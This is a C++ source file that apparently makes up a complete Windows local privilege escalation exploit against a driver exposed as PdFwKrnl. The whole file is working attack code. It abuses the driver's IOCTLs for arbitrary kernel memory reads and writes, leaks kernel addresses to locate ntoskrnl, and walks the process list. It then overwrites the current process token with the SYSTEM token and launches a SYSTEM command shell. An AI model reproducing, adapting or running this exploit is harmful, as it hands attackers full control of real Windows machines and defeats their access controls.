#include <Windows.h>
#include <iostream>
#include <map>

#define DRIVER                  "\\\\.\\PdFwKrnl"
#define RW_TARGET_IOCTL_CODE    0x8000202c
#define LEAK_TARGET_IOCTL_CODE  0x80002010

DWORD TOKEN_OFFSET;
DWORD PID_OFFSET;
DWORD APL_OFFSET;

DWORD PSISP_offset;
DWORD HIGHWF_offset;

typedef struct {
    ULONGLONG address0;
    ULONGLONG address1;
    ULONGLONG address2;
    ULONGLONG address3;
    ULONGLONG address4;
    ULONGLONG address5;
    ULONGLONG address6;
} RW_BUFFER;

typedef struct {
    ULONGLONG address0;
    ULONGLONG address1;
    ULONGLONG address2;
    ULONGLONG address3;
    ULONGLONG address4;
    ULONGLONG address5;
} LEAK_BUFFER;

typedef LONG(NTAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW lpVersionInformation);

std::string GetWindowsVersion() {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (hNtdll == nullptr) {
        return "Unknown";
    }

    RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hNtdll, "RtlGetVersion");
    if (RtlGetVersion == nullptr) {
        return "Unknown";
    }

    RTL_OSVERSIONINFOW osvi = { 0 };
    osvi.dwOSVersionInfoSize = sizeof(osvi);
    if (RtlGetVersion(&osvi) != 0) {
        return "Unknown";
    }

    std::string version;
    printf_s("\t[++] Major: [%d] , Minor: [%d], BuildNo: [%d]\n", osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber);
    if (osvi.dwMajorVersion == 10 && osvi.dwMinorVersion == 0) {
        if (osvi.dwBuildNumber >= 22000) {
            version = "Windows 11";
        }
        else if (osvi.dwBuildNumber >= 19041) {
            version = "Windows 10 (2004+)";
        }
        else if (osvi.dwBuildNumber >= 18362) {
            version = "Windows 10 (1903/1909)";
        }
        else if (osvi.dwBuildNumber >= 17763) {
            version = "Windows 10 (1809)";
        }
        else if (osvi.dwBuildNumber >= 17134) {
            version = "Windows 10 (1803)";
        }
        else if (osvi.dwBuildNumber >= 16299) {
            version = "Windows 10 (1709)";
        }
        else if (osvi.dwBuildNumber >= 15063) {
            version = "Windows 10 (1703)";
        }
        else if (osvi.dwBuildNumber >= 14393) {
            version = "Windows 10 (1607)";
        }
        else if (osvi.dwBuildNumber >= 10586) {
            version = "Windows 10 (1511)";
        }
        else {
            version = "Windows 10 (1507)";
        }
    }
    else if (osvi.dwMajorVersion == 6) {
        switch (osvi.dwMinorVersion) {
        case 3:
            version = "Windows 8.1";
            break;
        case 2:
            version = "Windows 8";
            break;
        case 1:
            version = "Windows 7";
            break;
        }
    }
    else {
        version = "Unknown";
    }

    return version;
}

int GetUniqueProcessIdOffset(const std::string& version) {
    static const std::map<std::string, int> uniqueProcessIdOffsets = {
        {"Windows 7", 0x180},
        {"Windows 8", 0x2E0},
        {"Windows 8.1", 0x2E0},
        {"Windows 10 (1507)", 0x2e8},
        {"Windows 10 (1511)", 0x2e8},
        {"Windows 10 (1607)", 0x2e8},
        {"Windows 10 (1703)", 0x2e0},
        {"Windows 10 (1709)", 0x2e0},
        {"Windows 10 (1803)", 0x2e0},
        {"Windows 10 (1809)", 0x2e0},
        {"Windows 10 (1903/1909)", 0x2e8},
        {"Windows 10 (2004+)", 0x440},
        {"Windows 11", 0x440},
    };
    auto it = uniqueProcessIdOffsets.find(version);
    if (it != uniqueProcessIdOffsets.end()) {
        return it->second;
    }
    else {
        return -1;
    }
}

int GetTokenOffset(const std::string& version) {
    static const std::map<std::string, int> tokenOffsets = {
        {"Windows 7", 0x208},
        {"Windows 8", 0x348},
        {"Windows 8.1", 0x348},
        {"Windows 10 (1507)", 0x358},
        {"Windows 10 (1511)", 0x358},
        {"Windows 10 (1607)", 0x358},
        {"Windows 10 (1703)", 0x358},
        {"Windows 10 (1709)", 0x358},
        {"Windows 10 (1803)", 0x358},
        {"Windows 10 (1809)", 0x358},
        {"Windows 10 (1903/1909)", 0x360},
        {"Windows 10 (2004+)", 0x4b8},
        {"Windows 11", 0x4b8},
    };
    auto it = tokenOffsets.find(version);
    if (it != tokenOffsets.end()) {
        return it->second;
    }
    else {
        return -1;
    }
}

ULONGLONG arbitrary_read(HANDLE device_handle, ULONGLONG address) {

    LPVOID output_buff = VirtualAlloc(
        NULL,
        sizeof(ULONGLONG) * 1,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );

    DWORD bytes_returned;
    RW_BUFFER input_buff = {
        0x4141414141414141,
        0x4242424242424242, 
        0x4343434343434343, 
        0x4444444444444444, 
        (ULONGLONG)output_buff, 
        address, 
        sizeof(ULONGLONG) * 1
    };

    DeviceIoControl(
        device_handle,
        RW_TARGET_IOCTL_CODE,
        &input_buff,
        sizeof(input_buff),
        NULL,
        NULL,
        &bytes_returned,
        NULL
    );

    ULONGLONG* out = (ULONGLONG*)(ULONGLONG)output_buff;
    return *(out+0);
}

void arbitrary_write(HANDLE device_handle, ULONGLONG address, ULONGLONG source) {

    DWORD bytes_returned;
    RW_BUFFER input_buff = {
        0x4141414141414141,
        0x4242424242424242,
        0x4343434343434343,
        0x4444444444444444,
        address,
        (ULONGLONG)&source,
        sizeof(ULONGLONG) * 1
    };

    DeviceIoControl(
        device_handle,
        RW_TARGET_IOCTL_CODE,
        &input_buff,
        sizeof(input_buff),
        NULL,
        NULL,
        &bytes_returned,
        NULL
    );
}

DWORD GetOffset(LPSTR method) {
    HMODULE ntoskrnl = NULL;
    DWORD methodAddrOffset = 0;
    ULONG_PTR methodAddr = 0;

    ntoskrnl = LoadLibraryA("ntoskrnl.exe");
    if (ntoskrnl == NULL) {
        printf_s("\t[--] Couldn't load ntoskrnl.exe\n");
        return 0;
    }
    methodAddr = (ULONG_PTR)GetProcAddress(ntoskrnl, method);
    if (methodAddr) {
        methodAddrOffset = (DWORD)(methodAddr - (ULONG_PTR)(ntoskrnl));
        FreeLibrary(ntoskrnl);
        return methodAddrOffset;
    }

    printf_s("\t[--] Couldn't Get Offset of %s\n", method);
    return 0;
}

ULONGLONG GetCurrentEproc(HANDLE DriverHandle, ULONGLONG sys_eproc) {
    DWORD target = GetCurrentProcessId();
    ULONGLONG CurrentEprocess = sys_eproc;
    DWORD CurrentPid = 0x4;
    ULONG_PTR Flink = 0;

    while (CurrentPid != target) {
        Flink = arbitrary_read(DriverHandle, CurrentEprocess + APL_OFFSET);
        CurrentEprocess = Flink - APL_OFFSET;
        CurrentPid = arbitrary_read(DriverHandle, CurrentEprocess + PID_OFFSET);
    }
    return CurrentEprocess;
}

ULONGLONG walk_nt(HANDLE device_handle, ULONGLONG psysquota)
{
    ULONG_PTR PSISP_methodAddr;
    ULONG_PTR HIGHWF_methodAddr;

    HMODULE ntoskrnl = LoadLibraryA("ntoskrnl.exe");
    if (ntoskrnl == NULL) {
        printf_s("\t[--] Couldn't load ntoskrnl.exe\n");
        return 0;
    }

    PSISP_methodAddr = (ULONG_PTR)GetProcAddress(ntoskrnl, "PsInitialSystemProcess");
    if (PSISP_methodAddr) {
        PSISP_offset = (DWORD)(PSISP_methodAddr - (ULONG_PTR)(ntoskrnl));
    }
    else {
        printf_s("\t[--] Couldn't Get Offset of PsInitialSystemProcess\n");
        return 0;
    }

    HIGHWF_methodAddr = (ULONG_PTR)GetProcAddress(ntoskrnl, "HviGetHardwareFeatures");

    if (HIGHWF_methodAddr) {
        HIGHWF_offset = (DWORD)(HIGHWF_methodAddr - (ULONG_PTR)(ntoskrnl));
    }
    else {
        printf_s("\t[--] Couldn't Get Offset of HviGetHardwareFeatures\n");
        return 0;
    }

    printf_s("\t[++] PsInitialSystemProcess Offset: %llx\n", PSISP_offset);
    printf_s("\t[++] HviGetHardwareFeatures Offset: %llx\n", HIGHWF_offset);

    ULONGLONG* hvi_sig = (ULONGLONG*)((ULONGLONG)HIGHWF_methodAddr);
    ULONGLONG initial = *(hvi_sig + 0);
    // To Find nt!HviGetHardwareFeatures
    DWORD one = 0x10;
    while (true) {
        int counter = 0;
        ULONGLONG first = arbitrary_read(device_handle, psysquota - one);
        if (first == initial) {
            counter++;
            for (int i = 1; i < 11; i++) {
                ULONGLONG read_check = arbitrary_read(device_handle, psysquota - (one - (8*i)));
                ULONGLONG load_check = *(hvi_sig + i);
                if (read_check == load_check) {
                    counter++;
                }
            }
            if (counter >= 11) {
                return (psysquota - one);
            }
        }
        one += 0x10;
    }
    return 0x0;
}

ULONGLONG leak(HANDLE device_handle,DWORD offset) {
    ULONGLONG null = (ULONGLONG)0x0000000000000000;
    DWORD bytes_returned;
    LEAK_BUFFER input_buff;

    while (true) {
        LPVOID output_buff = VirtualAlloc(
            NULL,
            0x38,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
        );
        input_buff = {
            (ULONGLONG)0x100,
            (ULONGLONG)&output_buff,
            (ULONGLONG)&output_buff,
            (ULONGLONG)&output_buff,
            (ULONGLONG)&output_buff,
            (ULONGLONG)&output_buff
        };
        // MmAllocateContiguousMemorySpecifyCache
        if (DeviceIoControl(device_handle, LEAK_TARGET_IOCTL_CODE, &input_buff, sizeof(input_buff), &output_buff, sizeof(output_buff), &bytes_returned, NULL)) {
            if (input_buff.address0 > 0xfff0000000000000) {
                ULONGLONG check = arbitrary_read(device_handle, (ULONGLONG)(input_buff.address0+offset));
                if ((check > 0xfffff80000000000) && (check < 0xfffff80e00000000) && ((check & 0x000000000000000F) == null) && ((check & 0x0000000000000FFF) != null)) {
                    return check;
                }
            }
        }
    }
    return 0x0;
}

void main()
{
    std::string windowsVersion = GetWindowsVersion();
    TOKEN_OFFSET = GetTokenOffset(windowsVersion);
    PID_OFFSET = GetUniqueProcessIdOffset(windowsVersion);
    APL_OFFSET = PID_OFFSET + 0x8;

    if (TOKEN_OFFSET == -1 || APL_OFFSET == -1 || PID_OFFSET == -1) {
        printf_s("\t[++] Unable To Find Offsets, exiting to prevent BSOD\n");
        abort();
    }

    printf_s("\t[++] Using Token Offset %x\n", TOKEN_OFFSET);
    printf_s("\t[++] Using ActiveProcLink Offset %x\n", APL_OFFSET);
    printf_s("\t[++] Using UniquePID Offset %x\n", PID_OFFSET);

    printf_s("\t[**] Opening handle to driver!\n");
    HANDLE DriverHandle = CreateFileA(DRIVER, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (DriverHandle == INVALID_HANDLE_VALUE)
    {
        printf("\t[!!] Failed to open driver handle!\n");
        abort();
    }

    printf_s("\t[++] Driver Handle: 0x%x\n", DriverHandle);

    ULONGLONG psystemquotablock_one;
    ULONGLONG psystemquotablock_two;

    for (int i = 0; i < 3; i++) {
        psystemquotablock_one = leak(DriverHandle, 0x20);
        psystemquotablock_two = leak(DriverHandle, 0x50);
        if (psystemquotablock_one == psystemquotablock_two) {
            printf_s("\t[++] PspSystemQuotaBlock: %llx\n", psystemquotablock_one);

            ULONGLONG hvigethwf = walk_nt(DriverHandle, psystemquotablock_one);
            printf_s("\t[++] HviGetHardwareFeatures: %llx\n", hvigethwf);

            ULONGLONG nt_base = hvigethwf - HIGHWF_offset;
            printf_s("\t[++] ntoskrnl Base Addr: % llx\n", nt_base);
            printf_s("\t[++] PsInitialSystemProcess: %llx\n", nt_base + PSISP_offset);

            ULONGLONG sys_eproc = arbitrary_read(DriverHandle, nt_base + PSISP_offset);
            printf_s("\t[++] SYSTEM _EPROC: %llx\n", sys_eproc);


            if (sys_eproc < 0xFFF0000000000000) {
                printf_s("\t[!!] Incorrect PsInitialSystemProcess Pointer, exiting");
                abort();
            }

            ULONGLONG curr_eproc = GetCurrentEproc(DriverHandle, sys_eproc);
            printf_s("\t[++] CURRENT _EPROC: %llx\n", curr_eproc);

            ULONGLONG sys_token = arbitrary_read(DriverHandle, sys_eproc + TOKEN_OFFSET) & 0xFFFFFFFFFFFFFFF0;
            printf_s("\t[++] Stolen System Token: %llx\n", sys_token);

            ULONGLONG curr_token = arbitrary_read(DriverHandle, curr_eproc + TOKEN_OFFSET);
            printf_s("\t[++] Current Token: %llx\n", curr_token);

            DWORD handle_ref = curr_token & 0x000000000000000F;
            printf_s("\t[++] Old Handle Ref: %X\n", handle_ref);

            ULONGLONG stolen = sys_token + handle_ref;
            arbitrary_write(DriverHandle, curr_eproc + TOKEN_OFFSET, stolen);

            CloseHandle(DriverHandle);

            printf_s("\t[~~] Enjoy the Shell!\n\n");

            system("cmd.exe");
            exit(0);
        }
    }
    printf_s("[!!] PspSystemQuotaBlock Not Found, exiting...");
}